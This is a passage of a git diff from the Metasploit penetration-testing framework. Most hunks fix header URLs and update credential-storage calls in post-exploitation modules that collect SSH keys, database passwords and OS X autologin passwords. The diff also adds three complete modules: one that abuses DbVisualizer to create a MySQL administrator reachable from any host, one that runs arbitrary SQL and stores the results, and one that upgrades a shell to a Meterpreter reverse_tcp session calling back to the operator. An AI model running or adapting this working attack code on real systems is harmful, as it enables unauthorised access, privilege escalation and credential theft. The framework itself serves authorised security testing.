session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password, + realm_value: db, + realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE, + workspace_id: myworkspace_id } - report_auth_info(cred_hash) + credential_core = create_credential(credential_data) + + login_data = { + address: ip, + port: port, + protocol: "tcp", + service_name: "postgres", + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + create_credential_login(login_data) + end if not cred_table.rows.empty? diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb index 3f5974cb64..437ea9b73a 100644 --- a/modules/post/multi/gather/pidgin_cred.rb +++ b/modules/post/multi/gather/pidgin_cred.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb index ba5ee2cbcf..1c76b839a8 100644 --- a/modules/post/multi/gather/ping_sweep.rb +++ b/modules/post/multi/gather/ping_sweep.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index a824ce6cb4..a5ccaa1a6c 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/run_console_rc_file.rb b/modules/post/multi/gather/run_console_rc_file.rb index d85b19bc7c..771391e748 100644 --- a/modules/post/multi/gather/run_console_rc_file.rb +++ b/modules/post/multi/gather/run_console_rc_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index eb73d0180d..b07ccd6090 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index 335e8672b4..648eef4ead 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -60,29 +60,27 @@ class Metasploit3 < Msf::Post next if [".", ".."].include?(file) data = read_file("#{path}#{sep}#{file}") file = file.split(sep).last - loot_path = store_loot("ssh.#{file}", "text/plain", session, data, - "ssh_#{file}", "OpenSSH #{file} File") - print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}") - # If the key is encrypted, this will fail and it won't be stored as a - # cred. That's ok because we can't really use encrypted keys anyway. - key = SSHKey.new(data, :passphrase => "") rescue nil - if key and loot_path - print_status("Saving private key #{file} as cred") - cred_hash = { - :host => session.session_host, - :port => 22, - :sname => 'ssh', - :user => user, - :pass => loot_path, - :source_type => "exploit", - :type => 'ssh_key', - :proof => "KEY=#{key.fingerprint}", - :duplicate_ok => true, - :active => true + print_good("Downloaded #{path}#{sep}#{file}") + + begin + key = SSHKey.new(data, :passphrase => "") + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ssh_key, + private_data: key.key_object.to_s, + username: user, + workspace_id: myworkspace_id } - report_auth_info(cred_hash) + + create_credential(credential_data) + rescue OpenSSL::OpenSSLError => e + print_error("Could not load SSH Key: #{e.message}") end + end end diff --git a/modules/post/multi/gather/thunderbird_creds.rb b/modules/post/multi/gather/thunderbird_creds.rb index 5f36dcb138..bcda33c4ac 100644 --- a/modules/post/multi/gather/thunderbird_creds.rb +++ b/modules/post/multi/gather/thunderbird_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb index be692cb345..a2e18e5018 100644 --- a/modules/post/multi/gather/wlan_geolocate.rb +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post Optionally geolocate the target by gathering local wireless networks and performing a lookup against Google APIs.}, 'License' => MSF_LICENSE, - 'Author' => [ 'Tom Sellers '], + 'Author' => [ 'Tom Sellers '], 'Platform' => %w{ osx win linux bsd solaris }, 'SessionTypes' => [ 'meterpreter', 'shell' ], )) diff --git a/modules/post/multi/general/close.rb b/modules/post/multi/general/close.rb index 063e8a0022..443f40d0b0 100644 --- a/modules/post/multi/general/close.rb +++ b/modules/post/multi/general/close.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/general/execute.rb b/modules/post/multi/general/execute.rb index 223d05a545..0318bda57e 100644 --- a/modules/post/multi/general/execute.rb +++ b/modules/post/multi/general/execute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/dbvis_add_db_admin.rb b/modules/post/multi/manage/dbvis_add_db_admin.rb new file mode 100644 index 0000000000..a361bf1886 --- /dev/null +++ b/modules/post/multi/manage/dbvis_add_db_admin.rb @@ -0,0 +1,245 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Manage DbVisualizer Add Db Admin', + 'Description' => %q{ + Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases + (With GUI). The remote database can be accessed from the command line without the need + to authenticate, which can be abused to create an administrator in the database with the + proper database permissions. Note: This module currently only supports MySQL. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'References' => + [ + ['URL', 'http://youtu.be/0LCLRVHX1vA'] + ], + 'Platform' => %w{ linux win }, + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options( + [ + OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']), + OptString.new('DBUSERNAME', [true,'The user you want to add to the remote database', 'msf']), + OptString.new('DBPASSWORD', [true,'User password to set', 'msfRocks']) + ], self.class) + + end + + def run + db_type = exist_and_supported() + unless db_type.blank? + dbvis = find_dbviscmd() + unless dbvis.blank? + sql = get_sql(db_type) + errors = dbvis_query(dbvis,sql) + if errors == true + print_error("No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ") + else + print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}") + end + end + end + end + + # Check if the alias exist and if database is supported by this script + def exist_and_supported() + case session.platform + when /linux/ + user = session.shell_command("whoami") + print_status("Current user is #{user}") + if (user =~ /root/) + user_base = "/root/" + else + user_base = "/home/#{user}/" + end + dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml" + when /win/ + user_profile = session.sys.config.getenv('USERPROFILE') + dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml" + end + + unless file?(dbvis_file) + #File not found, we next try with the old config path + print_status("File not found: #{dbvis_file}") + print_status("This could be an older version of dbvis, trying old path") + case session.platform + when /linux/ + dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" + when /win/ + dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml" + end + unless file?(dbvis_file) + print_error("File not found: #{dbvis_file}") + return + end + old_version = true + end + + print_status("Reading : #{dbvis_file}" ) + raw_xml = "" + begin + raw_xml = read_file(dbvis_file) + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{dbvis_file}, file may be empty") + return + end + + db_found = false + alias_found = false + db_type = nil + db_type_ok = false + + # fetch config file + raw_xml.each_line do |line| + + if line =~ // + db_found = false + end + + if db_found == true + + # checkthe alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + if datastore['DBALIAS'] == $1 + alias_found = true + print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml") + end + end + + if (line =~ /([\S+\s+]+)<\/Userid>/i) + if alias_found + print_good("Username for this connection : #{$1}") + end + end + + # check the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + if alias_found + db_type = $1 + db_type_ok = check_db_type(db_type) + if db_type_ok + print_good("Database #{db_type} is supported ") + else + print_error("Database #{db_type} is not supported (yet)") + db_type = nil + end + alias_found = false + end + end + end + end + if db_type.blank? + print_error("Database alias not found in dbvis.xml") + end + return db_type # That is empty if DB is not supported + end + + # Find path to dbviscmd.sh|bat + def find_dbviscmd + case session.platform + when /linux/ + dbvis = session.shell_command("locate dbviscmd.sh").chomp + if dbvis.chomp == "" + print_error("dbviscmd.sh not found") + return nil + else + print_good("Dbviscmd found : #{dbvis}") + end + when /win/ + # Find program files + progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') + progfiles_x86 = progfiles_env['ProgramFiles(X86)'] + if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/ + program_files = progfiles_x86 # x64 + else + program_files = progfiles_env['ProgramFiles'] # x86 + end + dirs = [] + session.fs.dir.foreach(program_files) do |d| + dirs << d + end + dbvis_home_dir = nil + #Browse program content to find a possible dbvis home + dirs.each do |d| + if (d =~ /DbVisualizer[\S+\s+]+/i) + dbvis_home_dir=d + end + end + if dbvis_home_dir.blank? + print_error("Dbvis home not found, maybe uninstalled ?") + return nil + end + dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat" + unless file?(dbvis) + print_error("dbviscmd.bat not found") + return nil + end + print_good("Dbviscmd found : #{dbvis}") + end + return dbvis + end + + # Query execution method + def dbvis_query(dbvis,sql) + error = false + resp = '' + if file?(dbvis) == true + f = session.fs.file.stat(dbvis) + if f.uid == Process.euid or Process.groups.include?f.gid + print_status("Trying to execute evil sql, it can take time ...") + args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\"" + dbvis = "\"#{dbvis}\"" + cmd = "#{dbvis} #{args}" + resp = cmd_exec(cmd) + vprint_line("") + vprint_status("#{resp}") + if resp =~ /denied|failed/i + error = true + end + else + print_error("User doesn't have enough rights to execute dbviscmd, aborting") + end + else + print_error("#{dbvis} is not a file") + end + return error + end + + # Database dependent part + + # Check if db type is supported by this script + def check_db_type(type) + return type.to_s =~ /mysql/i + end + + # Build proper sql + def get_sql(db_type) + if db_type =~ /mysql/i + sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';" + sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;" + + sql << "CREATE USER '#{datastore['DBUSERNAME']}'@'%' IDENTIFIED BY '#{datastore['DBPASSWORD']}';" + sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'%' WITH GRANT OPTION;" + return sql + end + return nil + end + +end diff --git a/modules/post/multi/manage/dbvis_query.rb b/modules/post/multi/manage/dbvis_query.rb new file mode 100644 index 0000000000..ebc9518926 --- /dev/null +++ b/modules/post/multi/manage/dbvis_query.rb @@ -0,0 +1,220 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Manage DbVisualizer Query', + 'Description' => %q{ + Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases + (With GUI). The remote database can be accessed from the command line without the need + to authenticate, and this module abuses this functionality to query and will store the + results. + + Please note: backslash quotes and your (stacked or not) queries should + end with a semicolon. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'References' => + [ + ['URL', 'http://youtu.be/0LCLRVHX1vA'] + ], + 'Platform' => %w{ linux win }, + 'SessionTypes' => [ 'meterpreter' ] + )) + register_options( + [ + OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']), + OptString.new('QUERY', [true,'The query you want to execute on the remote database', '']), + ], self.class) + + end + + def run + db_type = exist_and_supported() + unless db_type.blank? + dbvis = find_dbviscmd() + unless dbvis.blank? + dbvis_query(dbvis,datastore['QUERY']) + end + end + end + + # Check if the alias exist and if database is supported by this script + def exist_and_supported() + case session.platform + when /linux/ + user = session.shell_command("whoami") + print_status("Current user is #{user}") + if (user =~ /root/) + user_base = "/root/" + else + user_base = "/home/#{user}/" + end + dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml" + when /win/ + user_profile = session.sys.config.getenv('USERPROFILE') + dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml" + end + + unless file?(dbvis_file) + #File not found, we next try with the old config path + print_status("File not found: #{dbvis_file}") + print_status("This could be an older version of dbvis, trying old path") + case session.platform + when /linux/ + dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" + when /win/ + dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml" + end + unless file?(dbvis_file) + print_error("File not found: #{dbvis_file}") + return + end + old_version = true + end + + print_status("Reading : #{dbvis_file}" ) + raw_xml = "" + begin + raw_xml = read_file(dbvis_file) + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{dbvis_file}, file may be empty") + return + end + + db_found = false + alias_found = false + db_type = nil + db_type_ok = false + + # fetch config file + raw_xml.each_line do |line| + + if line =~ // + db_found = false + end + + if db_found == true + + # checkthe alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + if datastore['DBALIAS'] == $1 + alias_found = true + print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml") + end + end + + if (line =~ /([\S+\s+]+)<\/Userid>/i) + if alias_found + print_good("Username for this connection : #{$1}") + end + end + + # check the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + if alias_found + db_type = $1 + alias_found = false + end + end + end + end + if db_type.blank? + print_error("Database alias not found in dbvis.xml") + end + return db_type # That is empty if DB is not supported + end + + # Find path to dbviscmd.sh|bat + def find_dbviscmd + case session.platform + when /linux/ + dbvis = session.shell_command("locate dbviscmd.sh").chomp + if dbvis.chomp == "" + print_error("dbviscmd.sh not found") + return nil + else + print_good("Dbviscmd found : #{dbvis}") + end + when /win/ + # Find program files + progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') + progfiles_x86 = progfiles_env['ProgramFiles(X86)'] + if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/ + program_files = progfiles_x86 # x64 + else + program_files = progfiles_env['ProgramFiles'] # x86 + end + dirs = [] + session.fs.dir.foreach(program_files) do |d| + dirs << d + end + dbvis_home_dir = nil + #Browse program content to find a possible dbvis home + dirs.each do |d| + if (d =~ /DbVisualizer[\S+\s+]+/i) + dbvis_home_dir = d + end + end + if dbvis_home_dir.blank? + print_error("Dbvis home not found, maybe uninstalled ?") + return nil + end + dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat" + unless file?(dbvis) + print_error("dbviscmd.bat not found") + return nil + end + print_good("Dbviscmd found : #{dbvis}") + end + return dbvis + end + + # Query execution method + def dbvis_query(dbvis,sql) + error = false + resp = '' + if file?(dbvis) == true + f = session.fs.file.stat(dbvis) + if f.uid == Process.euid or Process.groups.include?f.gid + print_status("Trying to execute evil sql, it can take time ...") + args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\"" + dbvis = "\"#{dbvis}\"" + cmd = "#{dbvis} #{args}" + resp = cmd_exec(cmd) + print_line("") + print_line("#{resp}") + # store qury and result + p = store_loot( + "dbvis.query", + "text/plain", + session, + resp.to_s, + "dbvis_query.txt", + "dbvis query") + print_good("Query stored in: #{p.to_s}") + else + print_error("User doesn't have enough rights to execute dbviscmd, aborting") + end + else + print_error("#{dbvis} is not a file") + end + return error + end + +end + diff --git a/modules/post/multi/manage/multi_post.rb b/modules/post/multi/manage/multi_post.rb index 04af30f53b..fd93ae6132 100644 --- a/modules/post/multi/manage/multi_post.rb +++ b/modules/post/multi/manage/multi_post.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/play_youtube.rb b/modules/post/multi/manage/play_youtube.rb index db5b645ffe..0b8eba505f 100644 --- a/modules/post/multi/manage/play_youtube.rb +++ b/modules/post/multi/manage/play_youtube.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/record_mic.rb b/modules/post/multi/manage/record_mic.rb index 3d7c7bee17..bce65e61da 100644 --- a/modules/post/multi/manage/record_mic.rb +++ b/modules/post/multi/manage/record_mic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -81,4 +81,4 @@ class Metasploit3 < Msf::Post end end -end \ No newline at end of file +end diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb new file mode 100644 index 0000000000..a5178854a2 --- /dev/null +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -0,0 +1,287 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/powershell' +require 'msf/core/post/windows/powershell' + +class Metasploit3 < Msf::Post + include Exploit::Powershell + include Post::Windows::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Shell to Meterpreter Upgrade', + 'Description' => %q{ + This module attempts to upgrade a command shell to meterpreter. The shell + platform is automatically detected and the best version of meterpreter for + the target is selected. Currently meterpreter/reverse_tcp is used on Windows + and Linux, with 'python/meterpreter/reverse_tcp' used on all others. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Tom Sellers '], + 'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ], + 'SessionTypes' => [ 'shell' ] + )) + register_options( + [ + OptAddress.new('LHOST', + [false, 'IP of host that will receive the connection from the payload.']), + OptInt.new('LPORT', + [false, 'Port for Payload to connect to.', 4433]), + OptBool.new('HANDLER', + [ true, 'Start an Exploit Multi Handler to receive the connection', true]) + ], self.class) + deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') + end + + # Run Method for when run command is issued + def run + print_status("Upgrading session: #{datastore['SESSION']}") + + # Try hard to find a valid LHOST value in order to + # make running 'sessions -u' as robust as possible. + if datastore['LHOST'] + lhost = datastore['LHOST'] + elsif framework.datastore['LHOST'] + lhost = framework.datastore['LHOST'] + else + lhost = session.tunnel_local.split(':')[0] + end + + # If nothing else works.... + lhost = Rex::Socket.source_address if lhost.blank? + + lport = datastore['LPORT'] + + # Handle platform specific variables and settings + case session.platform + when /win/i + platform = 'win' + payload_name = 'windows/meterpreter/reverse_tcp' + lplat = [Msf::Platform::Windows] + larch = [ARCH_X86] + psh_arch = 'x86' + when /osx/i + platform = 'python' + payload_name = 'python/meterpreter/reverse_tcp' + when /solaris/i + platform = 'python' + payload_name = 'python/meterpreter/reverse_tcp' + else + # Find the best fit, be specific w/ uname to avoid matching hostname or something else + target_info = cmd_exec('uname -mo') + if target_info =~ /linux/i && target_info =~ /86/ + # Handle linux shells that were identified as 'unix' + platform = 'linux' + payload_name = 'linux/x86/meterpreter/reverse_tcp' + lplat = [Msf::Platform::Linux] + larch = [ARCH_X86] + elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/ + # Generic fallback for OSX, Solaris, Linux/ARM + platform = 'python' + payload_name = 'python/meterpreter/reverse_tcp' + end + end + + if platform.blank? + print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") + return nil + end + + payload_data = generate_payload(lhost, lport, payload_name) + if payload_data.blank? + print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.") + return nil + end + + if datastore['HANDLER'] + listener_job_id = create_multihandler(lhost, lport, payload_name) + if listener_job_id.blank? + print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.") + return nil + end + end + + case platform + when 'win' + if have_powershell? + psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } + cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) + else + exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) + aborted = transmit_payload(exe) + end + when 'python' + cmd_exec("python -c \"#{payload_data}\"") + else + exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) + aborted = transmit_payload(exe) + end + + cleanup_handler(listener_job_id, aborted) if datastore['HANDLER'] + return nil + end + + def transmit_payload(exe) + # + # Generate the stager command array + # + linemax = 1700 + if (session.exploit_datastore['LineMax']) + linemax = session.exploit_datastore['LineMax'].to_i + end + opts = { + :linemax => linemax, + #:nodelete => true # keep temp files (for debugging) + } + if session.platform =~ /win/i + opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64') + cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) + else + opts[:background] = true + cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe) + # Note: if a OS X binary payload is added in the future, use CmdStagerPrintf + # as /bin/sh on OS X doesn't support the -n option on echo + end + + cmds = cmdstager.generate(opts) + if cmds.nil? || cmds.length < 1 + print_error('The command stager could not be generated') + raise ArgumentError + end + + # + # Calculate the total size + # + total_bytes = 0 + cmds.each { |cmd| total_bytes += cmd.length } + + begin + # + # Run the commands one at a time + # + sent = 0 + aborted = false + cmds.each { |cmd| + ret = session.shell_command_token(cmd) + if !ret + aborted = true + else + ret.strip! + aborted = true if !ret.empty? + end + if aborted + print_error('Error: Unable to execute the following command: ' + cmd.inspect) + print_error('Output: ' + ret.inspect) if ret && !ret.empty? + break + end + + sent += cmd.length + + progress(total_bytes, sent) + } + rescue ::Interrupt + # TODO: cleanup partial uploads! + aborted = true + rescue => e + print_error("Error: #{e}") + aborted = true + end + + return aborted + end + + def cleanup_handler(listener_job_id, aborted) + # Return if the job has already finished + return nil if framework.jobs[listener_job_id].nil? + + framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) { + if !aborted + timer = 0 + while !framework.jobs[listener_job_id].nil? && timer < 10 + # Wait up to 10 seconds for the session to come in.. + sleep(1) + timer += 1 + end + end + print_status('Stopping multi/handler') + framework.jobs.stop_job(listener_job_id) + } + end + + # + # Show the progress of the upload + # + def progress(total, sent) + done = (sent.to_f / total.to_f) * 100 + print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) + end + + # Method for checking if a listener for a given IP and port is present + # will return true if a conflict exists and false if none is found + def check_for_listener(lhost, lport) + client.framework.jobs.each do |k, j| + if j.name =~ / multi\/handler/ + current_id = j.jid + current_lhost = j.ctx[0].datastore['LHOST'] + current_lport = j.ctx[0].datastore['LPORT'] + if lhost == current_lhost && lport == current_lport.to_i + print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") + return true + end + end + end + return false + end + + # Starts a multi/handler session + def create_multihandler(lhost, lport, payload_name) + pay = client.framework.payloads.create(payload_name) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + print_status('Starting exploit multi handler') + if !check_for_listener(lhost, lport) + # Set options for module + mh = client.framework.exploits.create('multi/handler') + mh.share_datastore(pay.datastore) + mh.datastore['WORKSPACE'] = client.workspace + mh.datastore['PAYLOAD'] = payload_name + mh.datastore['EXITFUNC'] = 'thread' + mh.datastore['ExitOnSession'] = true + # Validate module options + mh.options.validate(mh.datastore) + # Execute showing output + mh.exploit_simple( + 'Payload' => mh.datastore['PAYLOAD'], + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'RunAsJob' => true + ) + + # Check to make sure that the handler is actually valid + # If another process has the port open, then the handler will fail + # but it takes a few seconds to do so. The module needs to give + # the handler time to fail or the resulting connections from the + # target could end up on on a different handler with the wrong payload + # or dropped entirely. + select(nil, nil, nil, 5) + return nil if framework.jobs[mh.job_id.to_s].nil? + + return mh.job_id.to_s + else + print_error('A job is listening on the same local port') + return nil + end + end + + def generate_payload(lhost, lport, payload_name) + payload = framework.payloads.create(payload_name) + options = "LHOST=#{lhost} LPORT=#{lport}" + buf = payload.generate_simple('OptionStr' => options) + buf + end +end diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index da590498d3..afa83fcea1 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb index e12423f668..5aac76272c 100644 --- a/modules/post/multi/manage/system_session.rb +++ b/modules/post/multi/manage/system_session.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/admin/say.rb b/modules/post/osx/admin/say.rb index 73ab461b51..1dd4926654 100644 --- a/modules/post/osx/admin/say.rb +++ b/modules/post/osx/admin/say.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb index 68e3052fcc..2a25e3bd49 100644 --- a/modules/post/osx/capture/keylog_recorder.rb +++ b/modules/post/osx/capture/keylog_recorder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/capture/screen.rb b/modules/post/osx/capture/screen.rb index d40e48ae2d..b19f3ed240 100644 --- a/modules/post/osx/capture/screen.rb +++ b/modules/post/osx/capture/screen.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/autologin_password.rb b/modules/post/osx/gather/autologin_password.rb index 25f14542f4..a34127ce13 100644 --- a/modules/post/osx/gather/autologin_password.rb +++ b/modules/post/osx/gather/autologin_password.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -61,13 +61,18 @@ class Metasploit3 < Msf::Post end.join.sub(/\x00.*$/, '') # save in the database - report_auth_info( - :host => session.session_host, - :sname => 'login', - :user => autouser, - :pass => decoded, - :active => true - ) + # Don't record a Login, since we don't know what service to tie it to + credential_data = { + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: autouser, + private_data: decoded, + private_type: :password + } + + create_credential(credential_data) print_good "Decoded autologin password: #{autouser}:#{decoded}" end diff --git a/modules/post/osx/gather/enum_adium.rb b/modules/post/osx/gather/enum_adium.rb index d96e544962..bfc8be6cd0 100644 --- a/modules/post/osx/gather/enum_adium.rb +++ b/modules/post/osx/gather/enum_adium.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb index 0af988662e..df342ea521 100644 --- a/modules/post/osx/gather/enum_airport.rb +++ b/modules/post/osx/gather/enum_airport.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_chicken_vnc_profile.rb b/modules/post/osx/gather/enum_chicken_vnc_profile.rb index c407e0b41e..39ff10c777 100644 --- a/modules/post/osx/gather/enum_chicken_vnc_profile.rb +++ b/modules/post/osx/gather/enum_chicken_vnc_profile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: 